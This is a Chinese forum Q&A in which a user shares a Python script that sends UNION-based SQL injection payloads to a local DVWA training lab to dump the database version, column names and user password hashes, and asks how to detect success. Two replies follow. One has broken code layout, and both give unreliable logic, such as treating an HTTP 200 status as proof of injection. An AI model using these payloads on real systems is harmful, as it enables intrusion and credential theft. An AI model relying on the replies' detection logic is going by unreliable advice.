dvwa里sql注入无返回结果

问题遇到的现象和发生背景
遇到的现象和发生背景,请写出第一个错误信息
用代码块功能插入代码,请勿粘贴截图。 不用代码块回答率下降 50%
运行结果及详细报错内容
我的解答思路和尝试过的方法,不写自己思路的,回答率下降 60%
我想要达到的结果,如果你需要快速回答,请尝试 “付费悬赏”

python脚本测试dvwa靶机
下面是代码
需要判断注入成功与否的代码、求帮助。

#-*- coding:utf-8 -*-
import requests

def post_http(sqlstr):
    url = 'http://192.168.56.101/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'
    req = requests.get(url,headers=headers)
    return(url,req.status_code,req.text)

list=["1' union select 1,version() --  ",
      "1' or 1=1 order by 1 – ",
      "union select 1,database()#",
      "  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#",
      "1' union select user,password from users # "]
for sqlstr in list:
    headers = {'Cookie':'security=low; PHPSESSID=67rd36402q06bl7q01nr15cg94','Referer':'http://192.168.56.101/vulnerabilities/sqli/'}

    print('++++++++SQL注入++++++++')
    url, status_code, result = post_http(sqlstr)
    print(url + '|' + str(status_code))
    print(result)

要判断 SQL 注入是否成功,可以通过检查响应内容来实现。例如,可以通过判断响应内容中是否包含了预期的数据来确定 SQL 注入是否成功。

在上面的代码中,可以通过修改 post_http 函数来实现这一功能。例如,可以添加一个新的参数 success,用于表示 SQL 注入是否成功,并在函数内部检查响应内容来设置这个参数的值。例如:

def post_http(sqlstr, success):
    # 其他代码
    if 'expected_data' in result:
        success = True
    return(url, status_code, result, success)

在上面的代码中,我们添加了一个新的参数 success,并在函数内部检查响应内容来设置这个参数的值。如果响应内容中包含了预期的数据,就设置 success 为 True,表示 SQL 注入成功;否则设置为 False,表示 SQL 注入失败。

最后,可以在主程序中通过检查函数的返回值来判断 SQL 注入是否成功。例如:

for sqlstr in list:
    # 其他代码
    url, status_code
, result, success = post_http(sqlstr, False)
if success:
print('SQL注入成功')
else:
print('SQL注入失败')

在上面的代码中,我们修改了 post_http 函数的参数列表,并在主程序中调用函数时传入了一个初始值为 Falsesuccess 参数。然后,在主程序中,我们通过检查函数的返回值中的 success 变量来判断 SQL 注入是否成功。如果 successTrue,就表示 SQL 注入成功,反之则失败。

通过上面的修改,我们就可以在脚本中判断 SQL 注入是否成功了。此外,为了更好地检测 SQL 注入漏洞,还可以添加更多的测试用例,并通过
不断调整测试用例来确保检测的准确性。此外,还可以通过添加相应的日志记录功能来更好地追踪检测过程,并根据实际情况来调整脚本的代码,以提高脚本的可用性和灵活性。

运行结果和报错内容没有

如果注入成功你的statue_code 就是200 ,当然报错也是注入失败

#-*- coding:utf-8 -*-
import requests
def post_http(sqlstr):
    url = 'http://192.168.56.101/vulnerabilities/sqli/?id='+sqlstr+'&Submit=Submit'
    try:
        req = requests.get(url,headers=headers,)
        return(url,req.status_code,req.text)
    except:
        return (url,0,'')
list=["1' union select 1,version() --  ",
      "1' or 1=1 order by 1 – ",
      "union select 1,database()#",
      "  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#",
      "1' union select user,password from users # "]
for sqlstr in list:
    headers = {'Cookie':'security=low; PHPSESSID=67rd36402q06bl7q01nr15cg94','Referer':'http://192.168.56.101/vulnerabilities/sqli/'}
    print('++++++++SQL注入++++++++')
    url, status_code, result = post_http(sqlstr)
    if status_code==200:
        print("注入成功")
        print(url + '|' + str(status_code))
        print(result)
    else:
        print("注入失败")

Dvwa之SQL 注入全级别学习笔记
如有帮助,望采纳
https://blog.csdn.net/qq_52819300/article/details/126881063